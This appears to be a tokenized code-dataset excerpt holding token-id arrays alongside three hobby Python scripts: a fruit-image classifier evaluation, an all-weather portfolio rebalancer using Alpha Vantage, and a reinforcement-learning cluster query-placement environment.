29961,
524,
29898,
29875,
29899,
9302,
861,
458,
29906,
1125,
524,
29898,
29875,
29974,
9302,
861,
458,
29906,
29974,
29896,
4638,
353,
29871,
29900,
13,
13,
18884,
736,
5852,
13,
13,
4706,
736,
7700,
13,
13,
13,
1649,
497,
1649,
353,
6024,
22676,
4591,
5756,
29940,
799,
342,
2033,
13,
2
] |
testing_app.py | michal090497/python-fruits-recognition | 1 | 28503 | # Import required libraries
import cv2
from os.path import os, dirname
import tensorflow as tf
import numpy as np
from tqdm import tqdm
import random
# List of categories (directories names)
CATEGORIES = ["bad_apple", "bad_grape", "bad_pear", "cherry", "good_apple", "good_avocado", "good_grape", "good_pear", "ripe_avocado"]
# Level 2 - display information about errors only
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
# Commented line = use GPU
os.environ['CUDA_VISIBLE_DEVICES'] = '-1'
# Source folder path
main_dir = dirname(os.path.abspath(__file__))
# Paths to image database (train, test, all)
training_dir = os.path.join(main_dir, 'database', 'training')
testing_dir = os.path.join(main_dir, 'database', 'testing')
all_dir = os.path.join(main_dir, 'database', 'all')
# Currently used path
DATADIR = testing_dir
# Load all images and save them to array variable
for category in CATEGORIES:
path = os.path.join(DATADIR, category)
for img in os.listdir(path):
img_array = cv2.imread(os.path.join(path, img))
break
break
# Variable to store training data
testing_data = []
# Function that converts previously created data array to a test data array
def create_testing_data():
for category in CATEGORIES:
path = os.path.join(DATADIR, category)
class_num = CATEGORIES.index(category)
for img in tqdm(os.listdir(path)):
try:
img_array = cv2.imread(os.path.join(path, img))
testing_data.append([img_array, class_num])
except Exception as e:
pass
# Call the function
create_testing_data()
# Shuffle test data
random.shuffle(testing_data)
# Create array variables to store objects and labels
X = []
y = []
# Save objects and labels to arrays
for features, label in testing_data:
X.append(features)
y.append(label)
# Convert arrays to NumPy matrices
X = np.array(X)
y = np.array(y)
# Change the value range from 0-255 to 0-1
X = X / 255.0
# Load the trained model from given path
keras_model_path = os.path.join(main_dir, 'models', 'test')
model = tf.keras.models.load_model(keras_model_path)
# Display model summary
model.summary()
# Display information about the effectiveness of test data classification
loss, acc = model.evaluate(X, y, verbose=2)
print('Accuracy: {:5.2f}%'.format(100 * acc))
print('Loss: {:5.2f}'.format(loss)) | [
1,
396,
16032,
3734,
9562,
13,
5215,
13850,
29906,
13,
3166,
2897,
29889,
2084,
1053,
2897,
29892,
4516,
978,
13,
5215,
26110,
408,
15886,
13,
5215,
12655,
408,
7442,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
5215,
4036,
13,
13,
29937,
2391,
310,
13997,
313,
11851,
3842,
2983,
29897,
13,
29907,
3040,
29954,
1955,
29059,
353,
6796,
12313,
29918,
11548,
613,
376,
12313,
29918,
3874,
412,
613,
376,
12313,
29918,
412,
279,
613,
376,
4630,
719,
613,
376,
16773,
29918,
11548,
613,
376,
16773,
29918,
485,
542,
912,
613,
376,
16773,
29918,
3874,
412,
613,
376,
16773,
29918,
412,
279,
613,
376,
374,
412,
29918,
485,
542,
912,
3108,
13,
13,
29937,
21597,
29871,
29906,
448,
2479,
2472,
1048,
4436,
871,
13,
359,
29889,
21813,
1839,
8969,
29918,
6271,
29925,
29918,
16173,
29918,
14480,
29918,
1307,
29963,
6670,
2033,
353,
525,
29906,
29915,
13,
13,
29937,
461,
287,
1196,
353,
671,
22796,
13,
359,
29889,
21813,
1839,
29907,
29965,
7698,
29918,
28607,
8979,
1307,
29918,
2287,
29963,
2965,
2890,
2033,
353,
17411,
29896,
29915,
13,
13,
29937,
7562,
4138,
2224,
13,
3396,
29918,
3972,
353,
4516,
978,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
22168,
1445,
1649,
876,
13,
13,
29937,
10802,
29879,
304,
1967,
2566,
313,
14968,
29892,
1243,
29892,
599,
29897,
13,
26495,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3396,
29918,
3972,
29892,
525,
9803,
742,
525,
26495,
1495,
13,
13424,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3396,
29918,
3972,
29892,
525,
9803,
742,
525,
13424,
1495,
13,
497,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3396,
29918,
3972,
29892,
525,
9803,
742,
525,
497,
1495,
13,
13,
29937,
15447,
1304,
2224,
13,
25832,
3035,
8193,
353,
6724,
29918,
3972,
13,
13,
29937,
16012,
599,
4558,
322,
4078,
963,
304,
1409,
2286,
13,
1454,
7663,
297,
315,
3040,
29954,
1955,
29059,
29901,
13,
1678,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
25832,
3035,
8193,
29892,
7663,
29897,
13,
1678,
363,
10153,
297,
2897,
29889,
1761,
3972,
29898,
2084,
1125,
13,
4706,
10153,
29918,
2378,
353,
13850,
29906,
29889,
326,
949,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
10153,
876,
13,
4706,
2867,
13,
1678,
2867,
13,
13,
29937,
28736,
304,
3787,
6694,
848,
13,
13424,
29918,
1272,
353,
5159,
13,
13,
13,
29937,
6680,
393,
29436,
9251,
2825,
848,
1409,
304,
263,
1243,
848,
1409,
13,
1753,
1653,
29918,
13424,
29918,
1272,
7295,
13,
1678,
363,
7663,
297,
315,
3040,
29954,
1955,
29059,
29901,
13,
4706,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
25832,
3035,
8193,
29892,
7663,
29897,
13,
4706,
770,
29918,
1949,
353,
315,
3040,
29954,
1955,
29059,
29889,
2248,
29898,
7320,
29897,
13,
4706,
363,
10153,
297,
260,
29939,
18933,
29898,
359,
29889,
1761,
3972,
29898,
2084,
22164,
13,
9651,
1018,
29901,
13,
18884,
10153,
29918,
2378,
353,
13850,
29906,
29889,
326,
949,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
10153,
876,
13,
18884,
6724,
29918,
1272,
29889,
4397,
4197,
2492,
29918,
2378,
29892,
770,
29918,
1949,
2314,
13,
9651,
5174,
8960,
408,
321,
29901,
13,
18884,
1209,
13,
13,
13,
29937,
8251,
278,
740,
13,
3258,
29918,
13424,
29918,
1272,
580,
13,
13,
29937,
1383,
21897,
1243,
848,
13,
8172,
29889,
845,
21897,
29898,
13424,
29918,
1272,
29897,
13,
13,
29937,
6204,
1409,
3651,
304,
3787,
3618,
322,
11073,
13,
29990,
353,
5159,
13,
29891,
353,
5159,
13,
13,
29937,
16913,
3618,
322,
11073,
304,
7049,
13,
1454,
5680,
29892,
3858,
297,
6724,
29918,
1272,
29901,
13,
1678,
1060,
29889,
4397,
29898,
22100,
29897,
13,
1678,
343,
29889,
4397,
29898,
1643,
29897,
13,
13,
29937,
14806,
7049,
304,
11848,
19737,
13516,
13,
29990,
353,
7442,
29889,
2378,
29898,
29990,
29897,
13,
29891,
353,
7442,
29889,
2378,
29898,
29891,
29897,
13,
13,
29937,
10726,
278,
995,
3464,
515,
29871,
29900,
29899,
29906,
29945,
29945,
304,
29871,
29900,
29899,
29896,
13,
29990,
353,
1060,
847,
29871,
29906,
29945,
29945,
29889,
29900,
13,
13,
29937,
16012,
278,
16370,
1904,
515,
2183,
2224,
13,
3946,
294,
29918,
4299,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3396,
29918,
3972,
29892,
525,
9794,
742,
525,
1688,
1495,
13,
4299,
353,
15886,
29889,
3946,
294,
29889,
9794,
29889,
1359,
29918,
4299,
29898,
3946,
294,
29918,
4299,
29918,
2084,
29897,
13,
13,
29937,
17440,
1904,
15837,
13,
4299,
29889,
7727,
580,
13,
13,
29937,
17440,
2472,
1048,
278,
2779,
20193,
310,
1243,
848,
12965,
13,
6758,
29892,
1035,
353,
1904,
29889,
24219,
403,
29898,
29990,
29892,
343,
29892,
26952,
29922,
29906,
29897,
13,
2158,
877,
7504,
332,
4135,
29901,
12365,
29945,
29889,
29906,
29888,
10560,
4286,
4830,
29898,
29896,
29900,
29900,
334,
1035,
876,
13,
2158,
877,
29931,
2209,
29901,
12365,
29945,
29889,
29906,
29888,
29913,
4286,
4830,
29898,
6758,
876,
2
] |
Python/main.py | akulaarora/My-All-Weather-Strategy | 0 | 51157 | # For importing keys
import sys
sys.path.append("../")
sys.path.append("DONOTPUSH/")
import api_keys
# My modules
import database as db
# Libraries
import json
from time import sleep
# from github import Github
from alpha_vantage.timeseries import TimeSeries
import logging
# Constants
REPO_NAME = "My-All-Weather-Strategy"
STRATEGY = "../strategy.json"
LOG = "DONOTPUSH/errors.log"
# Global objects
client = None
def main(argv):
# Get values from JSON file
strategy_name = None
portfolio_json = None
band_threshold = None
assets = None
# Parse JSON into variables
with open(STRATEGY, 'r') as f:
strategy_json = json.loads(f.read())
strategy_name = strategy_json['Name']
band_threshold = strategy_json['Percent Band Threshold']
assets = strategy_json['Portfolio']
# Remove all invalid assets (no allocation or no ticker).
# Converts to dictionary of asset names.
temp = {}
for asset in assets:
if asset['Ticker'] != '' and asset['Percent Allocation'] != 0:
name = asset.pop('Name')
temp[name] = asset
assets = temp
# Get performance for all assets.
assets = get_asset_changes(assets)
# Push asset's performance to database
for name in assets.keys():
asset = assets[name]
ticker = asset['Ticker']
fields = {'Price': asset['Price'], 'Percent Change': asset['Percent Change']}
db.write_asset_price(name, ticker, fields)
# Updates portfolio
balances, balanced = update_portfolio(strategy_name, assets, band_threshold)
# Writes updated portfolio balances
db.write_balance(strategy_name, balances, balanced=balanced)
def get_asset_changes(assets):
"""
Calculate price changes on all assets
Returns dict {asset ->
{"price" -> price, "Percent Change" -> percent_change, ... (from original)} }
Mutates assets. Returns assets as well for ease of use.
"""
for name in assets.keys():
asset = assets[name]
ticker = asset['Ticker']
price = get_price_curr(ticker)
prev_price = db.get_price_prev(ticker)
if prev_price == None:
percent_change = 0
logging.error("Could not pull value for ticker " + ticker + " from database")
else:
percent_change = (price - prev_price) / prev_price * 100
asset['Price'] = price
asset['Percent Change'] = percent_change
return assets
def get_price_curr(ticker):
"""
Pulls data from Alphavantage using ticker.
Returns back close for today (latest value).
"""
ts = TimeSeries(api_keys.AV_KEY)
attempts = 1
while attempts <= 2:
try:
data = ts.get_quote_endpoint(symbol=ticker)
price = float(data[0]['05. price'])
return price
except ValueError:
sleep(61)
attempts += 1
def update_portfolio(strategy_name, assets, band_threshold):
"""
Handles all processing required to update the portfolio.
Returns back the balances for the updated portfolio
and whether the portfolio was created or rebalanced (balanced).
As a tuple.
"""
old = db.get_balance_prev(strategy_name)
new = {}
balanced = False
if old == None:
new = create_portfolio(assets)
balanced = True
else:
total_balance = 0
for name in old.keys():
if name != 'Balance':
balance = old[name]
change = assets[name]['Percent Change'] / 100
new_balance = balance * (1 + change)
new[name] = new_balance
total_balance += new_balance
new['Balance'] = total_balance
balanced = rebalance_portfolio(new, assets, band_threshold)
return (new, balanced)
def create_portfolio(assets, size = 1.0):
# Checks that portfolio allocation sums to 100%.
sum = 0
for name in assets.keys():
allocation = assets[name]['Percent Allocation']
sum += allocation
if sum != 100:
raise ValueError("Portfolio allocation does not sum to 100%")
portfolio = {}
portfolio['Balance'] = size
for name in assets.keys():
allocation = (assets[name]['Percent Allocation']) / 100
portfolio[name] = size * allocation
return portfolio
def rebalance_portfolio(portfolio, assets, band_threshold):
rebalanced = False
total_balance = portfolio['Balance']
for name in portfolio.keys():
if name != 'Balance':
asset_balance = portfolio[name]
allocation = assets[name]['Percent Allocation']
curr_allocation = asset_balance/total_balance * 100
if abs(curr_allocation - allocation) >= band_threshold:
create_portfolio(assets, size = total_balance)
rebalanced = True
break
return rebalanced
if __name__ == "__main__":
try:
logging.basicConfig(filename=LOG, level=logging.DEBUG, \
format='%(asctime)s %(levelname)s %(name)s %(message)s')
main(sys.argv[1:])
except Exception as e:
logging.error(e) | [
1,
396,
1152,
28348,
6611,
13,
5215,
10876,
13,
9675,
29889,
2084,
29889,
4397,
703,
6995,
1159,
13,
9675,
29889,
2084,
29889,
4397,
703,
29928,
1164,
2891,
29925,
3308,
29950,
29914,
1159,
13,
5215,
7882,
29918,
8149,
13,
13,
29937,
1619,
10585,
13,
5215,
2566,
408,
4833,
13,
13,
29937,
365,
4626,
4314,
13,
5215,
4390,
13,
3166,
931,
1053,
8709,
13,
29937,
515,
18546,
1053,
402,
2985,
13,
3166,
15595,
29918,
29894,
8501,
29889,
3706,
6358,
1053,
5974,
19204,
13,
5215,
12183,
13,
13,
29937,
5798,
1934,
13,
1525,
13152,
29918,
5813,
353,
376,
3421,
29899,
3596,
29899,
4806,
1624,
29899,
26910,
29908,
13,
10810,
3040,
29954,
29979,
353,
376,
6995,
710,
8963,
29889,
3126,
29908,
13,
14480,
353,
376,
29928,
1164,
2891,
29925,
3308,
29950,
29914,
12523,
29889,
1188,
29908,
13,
13,
29937,
12002,
3618,
13,
4645,
353,
6213,
13,
13,
13,
1753,
1667,
29898,
19218,
1125,
13,
1678,
396,
3617,
1819,
515,
4663,
934,
13,
1678,
13705,
29918,
978,
353,
6213,
13,
1678,
2011,
25648,
29918,
3126,
353,
6213,
13,
1678,
3719,
29918,
386,
12268,
353,
6213,
13,
1678,
21608,
353,
6213,
13,
13,
1678,
396,
20969,
4663,
964,
3651,
13,
1678,
411,
1722,
29898,
10810,
3040,
29954,
29979,
29892,
525,
29878,
1495,
408,
285,
29901,
13,
4706,
13705,
29918,
3126,
353,
4390,
29889,
18132,
29898,
29888,
29889,
949,
3101,
13,
4706,
13705,
29918,
978,
353,
13705,
29918,
3126,
1839,
1170,
2033,
13,
4706,
3719,
29918,
386,
12268,
353,
13705,
29918,
3126,
1839,
27933,
5158,
498,
12268,
2033,
13,
4706,
21608,
353,
13705,
29918,
3126,
1839,
2290,
25648,
2033,
13,
308,
13,
1678,
396,
15154,
599,
8340,
21608,
313,
1217,
24082,
470,
694,
260,
6541,
467,
13,
1678,
396,
1281,
369,
1372,
304,
8600,
310,
24342,
2983,
29889,
13,
1678,
5694,
353,
6571,
13,
1678,
363,
24342,
297,
21608,
29901,
13,
4706,
565,
24342,
1839,
29911,
6541,
2033,
2804,
6629,
322,
24342,
1839,
27933,
838,
5479,
2033,
2804,
29871,
29900,
29901,
13,
9651,
1024,
353,
24342,
29889,
7323,
877,
1170,
1495,
13,
9651,
5694,
29961,
978,
29962,
353,
24342,
13,
1678,
21608,
353,
5694,
13,
13,
1678,
396,
3617,
4180,
363,
599,
21608,
29889,
13,
1678,
21608,
353,
679,
29918,
24129,
29918,
25990,
29898,
16596,
29897,
13,
13,
1678,
396,
349,
1878,
24342,
29915,
29879,
4180,
304,
2566,
13,
1678,
363,
1024,
297,
21608,
29889,
8149,
7295,
13,
4706,
24342,
353,
21608,
29961,
978,
29962,
13,
4706,
260,
6541,
353,
24342,
1839,
29911,
6541,
2033,
13,
4706,
4235,
353,
11117,
13026,
2396,
24342,
1839,
13026,
7464,
525,
27933,
10726,
2396,
24342,
1839,
27933,
10726,
2033,
29913,
13,
4706,
4833,
29889,
3539,
29918,
24129,
29918,
9175,
29898,
978,
29892,
260,
6541,
29892,
4235,
29897,
13,
13,
1678,
396,
5020,
15190,
2011,
25648,
13,
1678,
6411,
2925,
29892,
6411,
8362,
353,
2767,
29918,
637,
25648,
29898,
710,
8963,
29918,
978,
29892,
21608,
29892,
3719,
29918,
386,
12268,
29897,
13,
13,
1678,
396,
16849,
267,
4784,
2011,
25648,
6411,
2925,
13,
1678,
4833,
29889,
3539,
29918,
5521,
749,
29898,
710,
8963,
29918,
978,
29892,
6411,
2925,
29892,
6411,
8362,
29922,
5521,
8362,
29897,
13,
13,
1753,
679,
29918,
24129,
29918,
25990,
29898,
16596,
1125,
13,
1678,
9995,
13,
1678,
20535,
403,
8666,
3620,
373,
599,
21608,
13,
1678,
16969,
9657,
426,
24129,
1599,
29871,
13,
4706,
8853,
9175,
29908,
1599,
8666,
29892,
376,
27933,
10726,
29908,
1599,
10151,
29918,
3167,
29892,
2023,
313,
3166,
2441,
2915,
500,
13,
1678,
20749,
1078,
21608,
29889,
16969,
21608,
408,
1532,
363,
16326,
310,
671,
29889,
13,
1678,
9995,
13,
1678,
363,
1024,
297,
21608,
29889,
8149,
7295,
13,
4706,
24342,
353,
21608,
29961,
978,
29962,
13,
4706,
260,
6541,
353,
24342,
1839,
29911,
6541,
2033,
13,
4706,
8666,
353,
679,
29918,
9175,
29918,
21962,
29898,
29873,
6541,
29897,
13,
13,
4706,
12379,
29918,
9175,
353,
4833,
29889,
657,
29918,
9175,
29918,
16304,
29898,
29873,
6541,
29897,
13,
4706,
565,
12379,
29918,
9175,
1275,
6213,
29901,
13,
9651,
10151,
29918,
3167,
353,
29871,
29900,
13,
9651,
12183,
29889,
2704,
703,
23323,
451,
8206,
995,
363,
260,
6541,
376,
718,
260,
6541,
718,
376,
515,
2566,
1159,
13,
4706,
1683,
29901,
13,
9651,
10151,
29918,
3167,
353,
313,
9175,
448,
12379,
29918,
9175,
29897,
847,
12379,
29918,
9175,
334,
29871,
29896,
29900,
29900,
13,
13,
4706,
24342,
1839,
13026,
2033,
353,
8666,
13,
4706,
24342,
1839,
27933,
10726,
2033,
353,
10151,
29918,
3167,
13,
13,
1678,
736,
21608,
13,
13,
13,
1753,
679,
29918,
9175,
29918,
21962,
29898,
29873,
6541,
1125,
13,
1678,
9995,
13,
1678,
349,
913,
29879,
848,
515,
838,
561,
485,
8501,
773,
260,
6541,
29889,
13,
1678,
16969,
1250,
3802,
363,
9826,
313,
12333,
995,
467,
13,
1678,
9995,
13,
1678,
18696,
353,
5974,
19204,
29898,
2754,
29918,
8149,
29889,
7520,
29918,
10818,
29897,
13,
1678,
14734,
353,
29871,
29896,
13,
1678,
1550,
14734,
5277,
29871,
29906,
29901,
13,
4706,
1018,
29901,
13,
9651,
848,
353,
18696,
29889,
657,
29918,
1396,
29918,
29734,
29898,
18098,
29922,
29873,
6541,
29897,
13,
9651,
8666,
353,
5785,
29898,
1272,
29961,
29900,
22322,
29900,
29945,
29889,
8666,
11287,
13,
9651,
736,
8666,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
8709,
29898,
29953,
29896,
29897,
13,
9651,
14734,
4619,
29871,
29896,
13,
13,
13,
1753,
2767,
29918,
637,
25648,
29898,
710,
8963,
29918,
978,
29892,
21608,
29892,
3719,
29918,
386,
12268,
1125,
13,
1678,
9995,
13,
1678,
5166,
793,
599,
9068,
3734,
304,
2767,
278,
2011,
25648,
29889,
13,
1678,
16969,
1250,
278,
6411,
2925,
363,
278,
4784,
2011,
25648,
13,
1678,
322,
3692,
278,
2011,
25648,
471,
2825,
470,
337,
5521,
8362,
313,
5521,
8362,
467,
13,
1678,
1094,
263,
18761,
29889,
13,
1678,
9995,
13,
1678,
2030,
353,
4833,
29889,
657,
29918,
5521,
749,
29918,
16304,
29898,
710,
8963,
29918,
978,
29897,
13,
1678,
716,
353,
6571,
13,
1678,
6411,
8362,
353,
7700,
13,
13,
1678,
565,
2030,
1275,
6213,
29901,
13,
4706,
716,
353,
1653,
29918,
637,
25648,
29898,
16596,
29897,
13,
4706,
6411,
8362,
353,
5852,
13,
1678,
1683,
29901,
13,
4706,
3001,
29918,
5521,
749,
353,
29871,
29900,
13,
4706,
363,
1024,
297,
2030,
29889,
8149,
7295,
13,
9651,
565,
1024,
2804,
525,
22031,
749,
2396,
13,
18884,
17346,
353,
2030,
29961,
978,
29962,
13,
18884,
1735,
353,
21608,
29961,
978,
22322,
27933,
10726,
2033,
847,
29871,
29896,
29900,
29900,
13,
18884,
716,
29918,
5521,
749,
353,
17346,
334,
313,
29896,
718,
1735,
29897,
13,
18884,
716,
29961,
978,
29962,
353,
716,
29918,
5521,
749,
13,
18884,
3001,
29918,
5521,
749,
4619,
716,
29918,
5521,
749,
13,
4706,
716,
1839,
22031,
749,
2033,
353,
3001,
29918,
5521,
749,
13,
13,
4706,
6411,
8362,
353,
337,
5521,
749,
29918,
637,
25648,
29898,
1482,
29892,
21608,
29892,
3719,
29918,
386,
12268,
29897,
13,
13,
1678,
736,
313,
1482,
29892,
6411,
8362,
29897,
13,
13,
1753,
1653,
29918,
637,
25648,
29898,
16596,
29892,
2159,
353,
29871,
29896,
29889,
29900,
1125,
13,
1678,
396,
5399,
29879,
393,
2011,
25648,
24082,
25470,
304,
29871,
29896,
29900,
29900,
15543,
13,
1678,
2533,
353,
29871,
29900,
13,
1678,
363,
1024,
297,
21608,
29889,
8149,
7295,
13,
4706,
24082,
353,
21608,
29961,
978,
22322,
27933,
838,
5479,
2033,
13,
4706,
2533,
4619,
24082,
13,
1678,
565,
2533,
2804,
29871,
29896,
29900,
29900,
29901,
13,
4706,
12020,
7865,
2392,
703,
2290,
25648,
24082,
947,
451,
2533,
304,
29871,
29896,
29900,
29900,
29995,
1159,
13,
13,
1678,
2011,
25648,
353,
6571,
13,
1678,
2011,
25648,
1839,
22031,
749,
2033,
353,
2159,
13,
1678,
363,
1024,
297,
21608,
29889,
8149,
7295,
13,
4706,
24082,
353,
313,
16596,
29961,
978,
22322,
27933,
838,
5479,
11287,
847,
29871,
29896,
29900,
29900,
13,
4706,
2011,
25648,
29961,
978,
29962,
353,
2159,
334,
24082,
13,
268,
13,
1678,
736,
2011,
25648,
13,
13,
13,
1753,
337,
5521,
749,
29918,
637,
25648,
29898,
637,
25648,
29892,
21608,
29892,
3719,
29918,
386,
12268,
1125,
13,
1678,
337,
5521,
8362,
353,
7700,
13,
1678,
3001,
29918,
5521,
749,
353,
2011,
25648,
1839,
22031,
749,
2033,
13,
1678,
363,
1024,
297,
2011,
25648,
29889,
8149,
7295,
13,
4706,
565,
1024,
2804,
525,
22031,
749,
2396,
13,
9651,
24342,
29918,
5521,
749,
353,
2011,
25648,
29961,
978,
29962,
13,
9651,
24082,
353,
21608,
29961,
978,
22322,
27933,
838,
5479,
2033,
13,
9651,
16256,
29918,
284,
5479,
29871,
353,
24342,
29918,
5521,
749,
29914,
7827,
29918,
5521,
749,
334,
29871,
29896,
29900,
29900,
13,
9651,
565,
6425,
29898,
21962,
29918,
284,
5479,
448,
24082,
29897,
6736,
3719,
29918,
386,
12268,
29901,
13,
18884,
1653,
29918,
637,
25648,
29898,
16596,
29892,
2159,
353,
3001,
29918,
5521,
749,
29897,
13,
18884,
337,
5521,
8362,
353,
5852,
13,
18884,
2867,
13,
268,
13,
1678,
736,
337,
5521,
8362,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1018,
29901,
13,
4706,
12183,
29889,
16121,
3991,
29898,
9507,
29922,
14480,
29892,
3233,
29922,
21027,
29889,
18525,
29892,
320,
13,
9651,
3402,
2433,
29995,
29898,
294,
312,
603,
29897,
29879,
1273,
29898,
5563,
978,
29897,
29879,
1273,
29898,
978,
29897,
29879,
1273,
29898,
4906,
29897,
29879,
1495,
13,
13,
4706,
1667,
29898,
9675,
29889,
19218,
29961,
29896,
29901,
2314,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
12183,
29889,
2704,
29898,
29872,
29897,
2
] |
contents/MyExperiment/Exp3_test/cluster_env.py | Feng-XiaoYue/Reinforcement-learning-with-tensorflow-master | 0 | 16726 | <reponame>Feng-XiaoYue/Reinforcement-learning-with-tensorflow-master
import numpy as np
import pandas as pd
import random
import time
import sys
if sys.version_info.major == 2:
import Tkinter as tk
else:
import tkinter as tk
class Cluster(tk.Tk, object):
def __init__(self, state_init, server_attribute):
super(Cluster, self).__init__()
self.action_space = np.array([[0,0],[0,1],[0,2],[0,3],
[1,0],[1,1],[1,2],[1,3],
[2,0],[2,1],[2,2],[2,3],
[3,0],[3,1],[3,2],[3,3],
[4,0],[4,1],[4,2],[4,3],
[5,0],[5,1],[5,2],[5,3],
[6,0],[6,1],[6,2],[6,3],
[7,0],[7,1],[7,2],[7,3],
[8,0],[8,1],[8,2],[8,3],
[9,0],[9,1],[9,2],[9,3],
[10,0],[10,1],[10,2],[10,3],
[11,0],[11,1],[11,2],[11,3]])
self.n_actions = len(self.action_space)
self.cost_matrix = pd.DataFrame(np.array([[0,1,5,12],
[1,0,4,2],
[5,4,0,3],
[12,2,3,0]]),
columns=[0, 1, 2, 3])
self.server_attribute = server_attribute
self.QSs = self.read_file()
self.state_init = state_init
self.cost_init = self.cost_init()
def step(self, action, state, costs):
s = state.copy()
#action_real[查询,移动到的服务器]
action_real = self.action_space[action]
q = action_real[0]
index_server = action_real[1]
s.iloc[q, :] = 0
s.iloc[q, index_server] = 1
cost_new = self.cost_caculate(q, index_server)
if cost_new > costs[q]:
is_better = True
else:
is_better = False
# costs[action_real[0]] = cost_new
costs[q] = cost_new
cost_all = self.cost_all(costs)
reward = self.reward(cost_all, s)
s_ = s
return s_, costs, reward, cost_all, is_better
#判断结束的条件 选择的action在执行之后状态仍然没有变 or 判断状态是否在处与某种情况下,例如负载不平衡
def is_finish(self):
# TODO
return True
# read the file and store in an array[query,[server1,server2,......]]
def read_file(self):
server_attribute = self.server_attribute
with open("D:\SynologyDrive\Reinforcement-learning-with-tensorflow-master\contents\MyExperiment\Exp3_test\QueryAttribute_test",'r') as f:
content = f.readlines()
QSs = []
for item in content:
QS = []
item = item.strip("\n")
q = item.split(",")[0]
targetAttribute = item.split(",")[1:]
targetAttribute = list(map(int, targetAttribute))
servers = []
for attribute in targetAttribute:
server = server_attribute[server_attribute.loc[:, attribute] == 1].index[0]
servers.append(server)
QS.append(int(q))
QS.append(servers)
QSs.append(QS)
return QSs
# compute the initial costs array based on the initial state matrix. every element represent the total cost of the query
def cost_init(self):
state_init = self.state_init
# print(len(state_init))
states = self.state_array(state_init)
# print(len(states))
costs = []
# print(len(state_init))
for i in range(len(state_init)):
index_server = states[i][1]
cost = self.cost_caculate(i, index_server)
costs.append(cost)
return costs
def cost_caculate(self,q,index_server):
cost = 0
for j in range(len(self.QSs[q][1])):
target_server = self.QSs[q][1][j]
cost += self.cost_matrix.iloc[index_server, target_server]
return cost
# create the initial state matrix(random)
# compute the total reward based on the costs array
def cost_all(self, costs):
cost_all = 0
for i in range(len(costs)):
cost_all += costs[i]
return cost_all
def reward(self, cost_all, state):
list = []
for i in state.columns:
list.append(state[i].sum())
load_weight_var = np.var(list)
reward = (len(state)/cost_all) * self.function(1.1, load_weight_var)
return reward
def function(self, a, x):
y = 100/(a**x)
return y
# transform the state matrix into array
def state_array(self, state):
states = []
for i in range(len(state)):
for j in range(len(state.columns)):
state_arr = []
if state.iloc[i, j] == 1:
state_arr.append(i)
state_arr.append(j)
states.append(state_arr)
return states
def state_init():
init_state = pd.DataFrame(np.zeros(327*8).reshape(327, 8), columns=[0, 1, 2, 3, 4, 5, 6, 7])
for i in range(len(init_state)):
j = random.randint(0, 7)
init_state.iloc[i][j] = 1
return init_state
# if __name__ == '__main__':
# server_attribute = pd.DataFrame(np.array([0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
# 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
# 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0,
# 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0,
# 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,
# 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0,
# 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0,
# 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]).
# reshape(8, 24),
# columns=np.arange(24))
# env = Cluster(state_init(), server_attribute)
# Qss = env.QSs
# print(Qss)
# for i in range(len(Qss)):
# q = i
# for j in range(len(server_attribute)):
# index_server = j
# print(env.cost_init)
# print("The reward of initial state is:")
# print(env.reward(env.cost_all(env.cost_init), env.state_init))
# print(env.state_init)
# actions=list(range(env.n_actions))
# print(actions)
# env.after(100, update)
# env.mainloop() | [
1,
529,
276,
1112,
420,
29958,
29943,
996,
29899,
29990,
29653,
29979,
434,
29914,
1123,
262,
1454,
13561,
29899,
21891,
29899,
2541,
29899,
29056,
29899,
6207,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
5215,
4036,
13,
5215,
931,
13,
5215,
10876,
13,
361,
10876,
29889,
3259,
29918,
3888,
29889,
21355,
1275,
29871,
29906,
29901,
13,
1678,
1053,
323,
29895,
1639,
408,
18883,
13,
2870,
29901,
13,
1678,
1053,
18883,
1639,
408,
18883,
13,
13,
13,
1990,
2233,
5402,
29898,
11178,
29889,
29911,
29895,
29892,
1203,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2106,
29918,
2344,
29892,
1923,
29918,
12715,
1125,
13,
4706,
2428,
29898,
6821,
5402,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
2467,
29918,
3493,
353,
7442,
29889,
2378,
4197,
29961,
29900,
29892,
29900,
16272,
29900,
29892,
29896,
16272,
29900,
29892,
29906,
16272,
29900,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29896,
29892,
29900,
16272,
29896,
29892,
29896,
16272,
29896,
29892,
29906,
16272,
29896,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29906,
29892,
29900,
16272,
29906,
29892,
29896,
16272,
29906,
29892,
29906,
16272,
